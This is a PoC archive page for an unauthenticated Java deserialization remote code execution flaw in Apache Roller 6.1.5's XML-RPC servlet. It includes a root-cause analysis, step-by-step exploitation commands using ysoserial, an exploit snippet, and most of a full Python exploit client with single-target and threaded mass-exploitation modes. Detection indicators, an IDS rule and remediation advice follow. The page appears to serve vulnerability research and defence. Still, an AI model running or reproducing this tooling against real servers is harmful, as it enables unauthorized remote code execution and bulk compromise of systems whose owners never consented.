PoC Archive PoC Archive
CVE-2026-82384 category: web CVSS 9.8 (CRITICAL)
Patched

Apache Roller XML-RPC Pre-Auth Java Deserialization RCE (CVE-2026-82384)

Published: 2026-11-25 • Researcher: yoyo (murrez/CVE-2026-82384 PoC author); finder n0mi1k; Apache Software Foundation (vendor)

Target software Apache Roller, legacy XML-RPC servlet (XmlRpcServlet) at /roller-services/xmlrpc
Affected versions 6.1.5 (NVD: Apache Software Foundation / Apache Roller, single affected version). Fixed in 6.1.6
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-82384 (duplicate record: CVE-2026-129448)
Category
web
Affected product
Apache Roller, legacy XML-RPC servlet (XmlRpcServlet) at /roller-services/xmlrpc
Affected versions
6.1.5 (NVD: Apache Software Foundation / Apache Roller, single affected version). Fixed in 6.1.6
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-28
Author / Researcheryoyo (murrez/CVE-2026-82384 PoC author); finder n0mi1k; Apache Software Foundation (vendor)
CVE / AdvisoryCVE-2026-82384 (duplicate record: CVE-2026-129448)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
TagsRCE, unauthenticated, Java, deserialization, CWE-502, Apache Roller, XML-RPC, pre-auth, ysoserial, Tomcat
Relatedpocs/web/2026-11-25_cve-2026-129448-roller/

Affected Target

FieldValue
Software / SystemApache Roller, legacy XML-RPC servlet (XmlRpcServlet) at /roller-services/xmlrpc
Versions Affected6.1.5 (NVD: Apache Software Foundation / Apache Roller, single affected version). Fixed in 6.1.6
Language / PlatformJava; Apache XML-RPC on Tomcat / servlet container. The PoC client is Python 3
Authentication RequiredNo
Network Access RequiredYes

Summary

Apache Roller 6.1.5 ships its legacy XML-RPC servlet with vendor extensions enabled, so the Apache XML-RPC parser Base64-decodes an ex:serializable value and passes attacker bytes to Java object deserialization before any Blogger or MetaWeblog authentication is evaluated. The servlet mapping is unconditional, so the vulnerable parse still runs when XML-RPC is disabled in Roller’s admin settings, and any usable gadget on the classpath turns a single unauthenticated HTTP request into remote code execution as the servlet container user. The murrez PoC fingerprints Roller, locates the XML-RPC endpoint, optionally sends a deserialization probe, and then posts an operator-supplied ysoserial payload or pre-generated Base64 serialized stream against a single target or a list.

Vulnerability Details

Root Cause

Roller’s WEB-INF/web.xml maps org.apache.xmlrpc.webserver.XmlRpcServlet to /roller-services/xmlrpc with the init parameter enabledForExtensions set to true. With vendor extensions enabled, the Apache XML-RPC library registers the ex:serializable type; its SerializableParser.getResult() Base64-decodes the element body and calls new ObjectInputStream(...).readObject() on it. Deserialization therefore happens inside XML parsing, before XmlRpcServer resolves a handler and before Blogger / MetaWeblog credentials are checked, so the sink is reachable without an account. The servlet mapping and parser remain active no matter what the global XML-RPC setting says, which is why disabling XML-RPC in the admin UI does not close the path (CWE-502).

Attack Vector

A single unauthenticated HTTP POST to /roller-services/xmlrpc (also /roller/roller-services/xmlrpc on context-path deployments and /xmlrpc; the PoC tries all three) with Content-Type: text/xml and a methodCall document that declares xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions" and places a Base64 Java serialized stream inside an ex:serializable element. The method name is irrelevant because parsing fails or deserializes before handler lookup. The only precondition is network reachability of the Roller deployment; HTTP or HTTPS both work.

Impact

Remote code execution as the Tomcat / servlet container user when a usable gadget is present on the classpath, which typically yields full control of blog data, the Roller configuration and database credentials, and a pivot to the host. Without a working gadget the same request is still a pre-auth deserialization primitive and can cause class-loading side effects, faults and denial of service.

Environment / Lab Setup

Output
OS:          Linux (Docker host or VM)
Target:      Apache Roller 6.1.5 deployed as the official WAR on Tomcat 9 / JDK 11,
             reachable at http://127.0.0.1:8080/roller
Attacker:    Python 3.10+ with requests/urllib3; Java runtime for ysoserial
Tools:       curl, ysoserial (ysoserial-all.jar), an OAST / DNS collaborator such as
             Burp Collaborator or interactsh for URLDNS verification

Setup Steps

Shell script
1
2
3
4
5
pip install -r requirements.txt

java -jar ysoserial-all.jar URLDNS http://oast.example > /tmp/urldns.bin

python3 poc.py -u http://127.0.0.1:8080/roller --mode check

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the deployment — python3 poc.py -u http://127.0.0.1:8080/roller --mode check requests /, /roller-ui/, /roller-ui/login.rol and /roller/, matches Roller markers, parses the version string, then probes the XML-RPC paths with a benign system.listMethods call and records the reachable endpoint.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:8080/roller --mode check
  2. Confirm the deserialization surface — add --probe-deser (check mode already probes when the version is not known to be patched). A short Base64 serialized stream is placed in ex:serializable; a vulnerable server answers with a deserialization fault, a patched 6.1.6+ build rejects the extension tag outright.

    Shell script
    1
    
    python3 poc.py -u http://127.0.0.1:8080/roller --mode check --probe-deser
  3. Generate a payload — use ysoserial directly, or let the PoC invoke it with --ysoserial-jar plus --ysoserial-cmd. URLDNS is the safe out-of-band proof; a command gadget such as CommonsCollections6 is classpath-dependent and lab-only.

    Shell script
    1
    
    java -jar ysoserial-all.jar URLDNS http://tok123.oast.example > /tmp/urldns.bin
  4. Fire the exploit — either pass the ysoserial JAR and command, or hand over a pre-generated payload file. The tool detects Roller, locates the endpoint, wraps the payload in the ex:serializable method call and POSTs it.

    Shell script
    1
    2
    3
    4
    5
    
    python3 poc.py -u http://127.0.0.1:8080/roller --mode exploit \
        --ysoserial-jar ysoserial-all.jar --ysoserial-gadget URLDNS \
        --ysoserial-cmd tok123.oast.example
    
    python3 poc.py -u http://127.0.0.1:8080/roller --mode exploit --payload-file /tmp/urldns.bin
  5. Verify the effect — for URLDNS, watch for the DNS lookup at the collaborator; the tool cannot observe it itself, so payload_sent_verify_oob only means the payload was accepted and sent. For a command gadget, verify with a reverse shell or an out-of-band HTTP request from the Roller host.

    Shell script
    1
    
    # listener / OAST console runs on the attacker side, nothing to run against the target here
  6. Bulk run (optional) — --list targets.txt --mode exploit ... -j 10 fans out over a target list and writes cve_2026_82384_exploit.jsonl plus exploited.txt.

    Shell script
    1
    2
    3
    
    python3 poc.py --list targets.txt --mode exploit \
        --ysoserial-jar ysoserial-all.jar --ysoserial-gadget URLDNS \
        --ysoserial-cmd oast.example -j 10

Exploit Code

See poc.py for the full client (check / exploit / mass modes). The upstream README and attribution are in upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import requests

TARGET = "http://127.0.0.1:8080/roller/roller-services/xmlrpc"
EX_NS = "http://ws.apache.org/xmlrpc/namespaces/extensions"
B64 = "rO0AB... (Base64 Java serialized stream, e.g. ysoserial URLDNS output)"

body = (
    '<?xml version="1.0" encoding="UTF-8"?>'
    "<methodCall><methodName>system.listMethods</methodName><params><param><value>"
    f'<ex:serializable xmlns:ex="{EX_NS}">{B64}</ex:serializable>'
    "</value></param></params></methodCall>"
)

r = requests.post(TARGET, data=body.encode(), headers={"Content-Type": "text/xml; charset=utf-8"}, timeout=25)
print(r.status_code, r.text)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[RESULT] candidate | deser_surface_confirmed
{
  "target": "http://127.0.0.1:8080/roller",
  "mode": "check",
  "roller": true,
  "version_str": "6.1.5",
  "vulnerable_version": true,
  "xmlrpc_url": "http://127.0.0.1:8080/roller/roller-services/xmlrpc",
  "status": "deser_surface_confirmed",
  "exploitable_candidate": true,
  "deser_probe": {
    "deser_markers": ["<matched marker, e.g. objectinputstream>"],
    "likely_deser_path": true
  }
}

[SENT] http://127.0.0.1:8080/roller -> XML-RPC deser (<N> bytes) | verify DNS: tok123.oast.example
[RESULT] http://127.0.0.1:8080/roller | payload_sent_verify_oob

A patched 6.1.6+ instance instead reports patched_or_newer / an extension-rejected XML-RPC fault, and no collaborator callback arrives.

Detection & Indicators of Compromise

  • HTTP access logs with POST /roller-services/xmlrpc or /roller/roller-services/xmlrpc, Content-Type: text/xml, and a body containing the ex:serializable element or a Base64 stream beginning rO0AB.
  • XML-RPC fault bodies containing Failed to load class for result object: or Failed to read result object:, which prove the parser reached Java deserialization.
  • Java stack traces mentioning java.io.ObjectInputStream, org.apache.xmlrpc.parser.SerializableParser, or gadget classes such as BeanComparator, TemplatesImpl or InvokerTransformer.
  • Outbound DNS / LDAP / HTTP connections from the Roller host to unfamiliar destinations shortly after XML-RPC POSTs (gadget execution or JNDI callbacks).
  • Unexpected child processes of the Tomcat/JVM process (bash, curl, nc, wget) or new files under /tmp owned by the servlet user.
  • Response bodies carrying InvalidClassException, StreamCorruptedException or NotSerializableException, the string set the PoC itself treats as a deserialization marker.

SIEM / IDS Rule (example):

Output
1
2
3
4
5
alert http any any -> any any (msg:"Apache Roller XML-RPC ex:serializable deserialization attempt"; \
  flow:to_server,established; content:"POST"; http_method; \
  content:"/roller-services/xmlrpc"; http_uri; \
  content:"text/xml"; http_header; \
  content:"ex:serializable"; http_client_body; sid:9008238;)

Remediation

ActionDetail
PatchUpgrade to Apache Roller 6.1.6 or later. PR #171 sets enabledForExtensions to false for the XML-RPC servlet and rejects requests when XML-RPC is disabled globally; restart Roller after upgrading.
WorkaroundIf upgrading is not possible, edit WEB-INF/web.xml to set enabledForExtensions to false for XmlRpcServlet, or remove the /roller-services/xmlrpc servlet mapping entirely, then restart Tomcat. Disabling XML-RPC only in the admin UI is not sufficient.
Config HardeningBlock /roller-services/xmlrpc at the reverse proxy or WAF when it is unused, and reject request bodies containing ex:serializable or rO0AB on that path. Run a JDK with the TemplatesImpl deserialization guard (8u341 / 11.0.16 / 17.0.4 or later), keep commons-collections at 3.2.2, run Tomcat as a low-privilege user, and restrict outbound egress. These are defense-in-depth and do not replace the patch.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-82384 on 2026-11-25.

Review verdict: this is a real exploit client, not a detector-only project. Its check mode is fingerprinting and a deserialization oracle, but exploit mode builds the ex:serializable request and POSTs an arbitrary Java serialized stream at the pre-auth sink, with single-target and bulk operation. It was therefore ingested, with the limitations below.

Limitations: the repository deliberately ships no gadget chain, no target lab and no end-to-end RCE transcript. Exploitation depends entirely on a classpath-compatible chain generated with ysoserial, and common chains are blunted on stock modern Roller (commons-collections 3.2.2 blocks CC1-CC7, and current JDKs block the default TemplatesImpl sink). In URLDNS mode the tool marks a target as exploited as soon as the payload is sent, so that flag is not proof: confirm the DNS or LDAP callback out of band. In command-gadget mode the payload_accepted verdict is heuristic (HTTP 200/400/500 plus error-marker or version checks), not command output. This entry was archived without executing the exploit, against no live target.

License status: the upstream repository is MIT licensed (see LICENSE), and poc.py, requirements.txt, targets.example.txt, the upstream README and the license text are archived with attribution for authorized research only.

Companion material: pocs/web/2026-11-25_cve-2026-129448-roller/ covers the same vulnerability under its duplicate CVE identifier and includes a lab and a working CommonsBeanutils1 chain; this entry documents the independent murrez client. Do not run this against systems you do not own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-82384 (see README for attribution/license)
"""
CVE-2026-82384 — Apache Roller 6.1.5
Unauthenticated Java deserialization via XML-RPC ex:serializable (enabledForExtensions)
before authentication. Servlet mapped even when XML-RPC disabled. Fix: 6.1.6+ (PR #171).

PoC page: https://pocbit.org/pocs/cve-2026-82384
"""

from __future__ import annotations

CVE_ID = "CVE-2026-82384"
POC_TITLE = "Apache Roller XML-RPC pre-auth deserialization RCE"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

VULN_VERSION = (6, 1, 5)
FIX_VERSION = (6, 1, 6)

import argparse
import base64
import json
import os
import re
import shutil
import subprocess
import sys
import threading
import time
import uuid
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

EX_NS = "http://ws.apache.org/xmlrpc/namespaces/extensions"

XMLRPC_PATHS = (
    "/roller-services/xmlrpc",
    "/roller/roller-services/xmlrpc",
    "/xmlrpc",
)

ROLLER_MARKERS = (
    "apache roller",
    "roller-ui",
    "roller-webapp",
    "rollerweblogger",
    "/roller-ui/",
)

# Minimal invalid Java serialization stream (triggers parser on vulnerable builds)
DEFAULT_PROBE_B64 = "rO0ABXNyABFqYXZh.util.HashMapD0HAYBzKxBAEMxAAJ4cIAAAD/////QEA="

DESER_ERROR_MARKERS = (
    "invalidclassexception",
    "streamcorruptedexception",
    "objectinputstream",
    "notserializableexception",
    "serializable",
    "java.io",
    "xml-rpc",
    "failed to read",
    "deserializ",
)

print_lock = threading.Lock()
_use_color = True


class Col:
    RST = "\033[0m"
    BOLD = "\033[1m"
    DIM = "\033[2m"
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    MAGENTA = "\033[95m"
    CYAN = "\033[96m"
    BG_BLUE = "\033[44m"
    BG_GREEN = "\033[42m"


def win_ansi():
    if sys.platform != "win32":
        return
    try:
        import ctypes
        k = ctypes.windll.kernel32
        h = k.GetStdHandle(-11)
        m = ctypes.c_uint32()
        k.GetConsoleMode(h, ctypes.byref(m))
        k.SetConsoleMode(h, m.value | 0x0007)
    except Exception:
        pass


def paint(t, *s):
    if not _use_color or not s:
        return t
    return "".join(s) + t + Col.RST


def log(msg, style=None):
    with print_lock:
        print(paint(msg, style) if style else msg, flush=True)


def log_ok(m):
    log(m, Col.GREEN + Col.BOLD)


def log_warn(m):
    log(m, Col.YELLOW)


def log_fail(m):
    log(m, Col.RED)


def log_info(m):
    log(m, Col.CYAN)


def banner(quiet=False):
    if quiet:
        return
    win_ansi()
    log("")
    log(paint("+" + "=" * 60 + "+", Col.BLUE))
    log(
        paint("|", Col.BLUE)
        + paint(" POCBIT ", Col.BG_BLUE + Col.BOLD)
        + paint(" %s " % CVE_ID, Col.MAGENTA + Col.BOLD)
        + paint(" Apache Roller XML-RPC deser ", Col.CYAN)
        + paint("|", Col.BLUE)
    )
    log(paint("|  %s" % POCBIT_PAGE, Col.DIM) + " " * 8 + paint("|", Col.BLUE))
    log(paint("+" + "=" * 60 + "+", Col.BLUE))
    log("")


def _finish(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    ad = HTTPAdapter(max_retries=0, pool_connections=40, pool_maxsize=40)
    s.mount("https://", ad)
    s.mount("http://", ad)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def normalize_base(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None
    if "://" not in raw:
        raw = "https://" + raw
    p = urlparse(raw)
    if not p.netloc:
        return None
    scheme = p.scheme if p.scheme in ("http", "https") else "https"
    return "%s://%s" % (scheme, p.netloc)


def parse_version(text):
    if not text:
        return None
    m = re.search(r"Apache\s+Roller\s+([0-9]+(?:\.[0-9]+){1,3})", text, re.I)
    if not m:
        m = re.search(r"Roller\s+([0-9]+\.[0-9]+\.[0-9]+)", text, re.I)
    if not m:
        m = re.search(r"roller[-\s]?([0-9]+\.[0-9]+\.[0-9]+)", text, re.I)
    if not m:
        return None
    try:
        return tuple(int(x) for x in m.group(1).split("."))
    except ValueError:
        return None


def version_le(a, b):
    if not a:
        return None
    n = max(len(a), len(b))
    av = a + (0,) * (n - len(a))
    bv = b + (0,) * (n - len(b))
    return av <= bv


def version_vulnerable(v):
    if not v:
        return None
    if v == VULN_VERSION:
        return True
    if version_le(v, VULN_VERSION) and v[:2] == (6, 1):
        return True
    if version_le(v, FIX_VERSION) is False:
        return False
    return None


def build_xmlrpc_deser(b64_payload, method="system.listMethods"):
    b64_payload = (b64_payload or "").strip().replace("\n", "")
    return (
        '<?xml version="1.0" encoding="UTF-8"?>'
        "<methodCall>"
        "<methodName>%s</methodName>"
        "<params>"
        "<param><value>"
        '<ex:serializable xmlns:ex="%s">%s</ex:serializable>'
        "</value></param>"
        "</params>"
        "</methodCall>"
    ) % (method, EX_NS, b64_payload)


def build_xmlrpc_benign():
    return (
        '<?xml version="1.0" encoding="UTF-8"?>'
        "<methodCall>"
        "<methodName>system.listMethods</methodName>"
        "<params></params>"
        "</methodCall>"
    )


def post_xmlrpc(session, base, path, body, timeout):
    url = urljoin(base.rstrip("/") + "/", path.lstrip("/"))
    headers = {
        "Content-Type": "text/xml; charset=utf-8",
        "User-Agent": UA,
    }
    try:
        r = session.post(url, data=body.encode("utf-8"), headers=headers, timeout=timeout, verify=False)
        return {"url": url, "status_code": r.status_code, "text": r.text or "", "headers": dict(r.headers)}
    except requests.RequestException as exc:
        return {"url": url, "error": str(exc)}


def find_xmlrpc_endpoint(session, base, timeout):
    for path in XMLRPC_PATHS:
        benign = post_xmlrpc(session, base, path, build_xmlrpc_benign(), timeout)
        if benign.get("error"):
            continue
        code = benign.get("status_code", 0)
        if code in (200, 400, 401, 403, 500):
            body = (benign.get("text") or "").lower()
            if "xml" in body or "methodresponse" in body or "fault" in body or code == 200:
                return {"path": path, "benign": benign}
            if code != 404:
                return {"path": path, "benign": benign}
    return None


def detect_roller(session, base, timeout):
    row = {
        "roller": False,
        "version": None,
        "version_str": None,
        "vulnerable_version": None,
        "http_hits": [],
    }
    paths = ("/", "/roller-ui/", "/roller-ui/login.rol", "/roller/")
    bodies = []
    for path in paths:
        url = urljoin(base.rstrip("/") + "/", path.lstrip("/"))
        try:
            r = session.get(url, timeout=timeout, verify=False)
        except requests.RequestException:
            continue
        if r.status_code >= 500:
            continue
        body = r.text or ""
        low = body.lower()
        if any(m in low for m in ROLLER_MARKERS):
            row["roller"] = True
            row["http_hits"].append(url)
            bodies.append(body)
    for body in bodies:
        vt = parse_version(body)
        if vt:
            row["version"] = list(vt)
            row["version_str"] = ".".join(str(x) for x in vt)
            row["vulnerable_version"] = version_vulnerable(vt)
            break
    return row


def deser_probe(session, base, xmlrpc_path, b64_payload, timeout):
    body = build_xmlrpc_deser(b64_payload)
    resp = post_xmlrpc(session, base, xmlrpc_path, body, timeout)
    text = (resp.get("text") or "").lower()
    markers = [m for m in DESER_ERROR_MARKERS if m in text]
    return {
        "response": resp,
        "deser_markers": markers,
        "likely_deser_path": bool(markers) or resp.get("status_code") == 500,
    }


def load_payload_b64(args):
    if args.payload_b64:
        return args.payload_b64.strip()
    if args.payload_file:
        with open(args.payload_file, "rb") as f:
            raw = f.read().strip()
        try:
            return raw.decode("ascii")
        except UnicodeDecodeError:
            return base64.b64encode(raw).decode("ascii")
    if args.ysoserial_cmd:
        jar = args.ysoserial_jar
        if not jar or not os.path.isfile(jar):
            return None
        if not shutil.which("java"):
            return None
        gadget = args.ysoserial_gadget or "URLDNS"
        cmd = args.ysoserial_cmd
        try:
            p = subprocess.run(
                ["java", "-jar", jar, gadget, cmd],
                capture_output=True,
                timeout=60,
                check=False,
            )
        except (OSError, subprocess.TimeoutExpired):
            return None
        if p.returncode != 0 and not p.stdout:
            return None
        return base64.b64encode(p.stdout).decode("ascii")
    return None


def check_target(raw, timeout, proxy, probe_deser=False):
    base = normalize_base(raw)
    row = _finish({"target": base, "mode": "check", "status": "unknown"})
    if not base:
        row["error"] = "invalid_url"
        row["status"] = "invalid"
        return row

    s = mk_session(timeout, proxy)
    det = detect_roller(s, base, timeout)
    row.update(det)
    ep = find_xmlrpc_endpoint(s, base, timeout)
    row["xmlrpc"] = ep

    if not ep:
        row["status"] = "no_xmlrpc_endpoint"
        row["exploitable_candidate"] = False
        if det.get("roller"):
            row["status"] = "roller_no_xmlrpc_path"
        return row

    row["xmlrpc_url"] = ep["benign"].get("url")
    row["exploitable_candidate"] = True
    row["status"] = "xmlrpc_reachable"

    if det.get("vulnerable_version") is True:
        row["status"] = "likely_vulnerable_6_1_5"
    elif det.get("vulnerable_version") is False:
        row["status"] = "patched_or_newer"
        row["exploitable_candidate"] = False

    if probe_deser or det.get("vulnerable_version") is not False:
        pr = deser_probe(s, base, ep["path"], DEFAULT_PROBE_B64, timeout)
        row["deser_probe"] = pr
        if pr.get("likely_deser_path"):
            row["status"] = "deser_surface_confirmed"
            row["exploitable_candidate"] = True

    row["note"] = (
        "6.1.5 parses ex:serializable before auth; upgrade to 6.1.6 or block /roller-services/xmlrpc."
    )
    return row


def exploit_target(raw, timeout, proxy, payload_b64, verify_dns=None):
    base = normalize_base(raw)
    row = _finish({"target": base, "mode": "exploit", "exploited": False, "status": "unknown"})
    if not base:
        row["error"] = "invalid_url"
        row["status"] = "invalid"
        return row

    if not payload_b64:
        row["status"] = "no_payload"
        row["error"] = "use --payload-file, --payload-b64, or --ysoserial-cmd with --ysoserial-jar"
        return row

    s = mk_session(timeout, proxy)
    det = detect_roller(s, base, timeout)
    row.update(det)
    ep = find_xmlrpc_endpoint(s, base, timeout)
    if not ep:
        row["status"] = "no_xmlrpc"
        return row

    row["xmlrpc_url"] = ep["benign"].get("url")
    pr = deser_probe(s, base, ep["path"], payload_b64, timeout)
    row["exploit_response"] = pr.get("response")
    row["payload_bytes"] = len(base64.b64decode(payload_b64 + "=="))

    if verify_dns:
        row["verify"] = "Check DNS/LDAP callback: %s" % verify_dns
        row["exploited"] = True
        row["status"] = "payload_sent_verify_oob"
        log_ok("[SENT] %s -> XML-RPC deser (%d bytes) | verify DNS: %s" % (
            base, row["payload_bytes"], verify_dns,
        ))
    else:
        code = pr.get("response", {}).get("status_code")
        markers = pr.get("deser_markers") or []
        if code in (200, 400, 500) and (markers or det.get("vulnerable_version") is not False):
            row["exploited"] = True
            row["status"] = "payload_accepted"
            log_ok("[EXPLOIT] %s | HTTP %s | markers=%s" % (base, code, markers[:3]))
        else:
            row["status"] = "exploit_inconclusive"
            log_warn("[?] %s | HTTP %s" % (base, code))

    return row


def load_targets(path):
    out = []
    seen = set()
    with open(path, "r", encoding="utf-8-sig", errors="replace") as f:
        for line in f:
            b = normalize_base(line)
            if b and b not in seen:
                seen.add(b)
                out.append(b)
    return out


def run_mass_check(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        return check_target(t, args.timeout, args.proxy, args.probe_deser)

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done:
                    futures.pop(fut)
                    row = fut.result()
                    stats["done"] += 1
                    out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
                    out_f.flush()
                    if row.get("exploitable_candidate"):
                        stats["hits"] += 1
Showing 500 of 663 lines View full file on GitHub →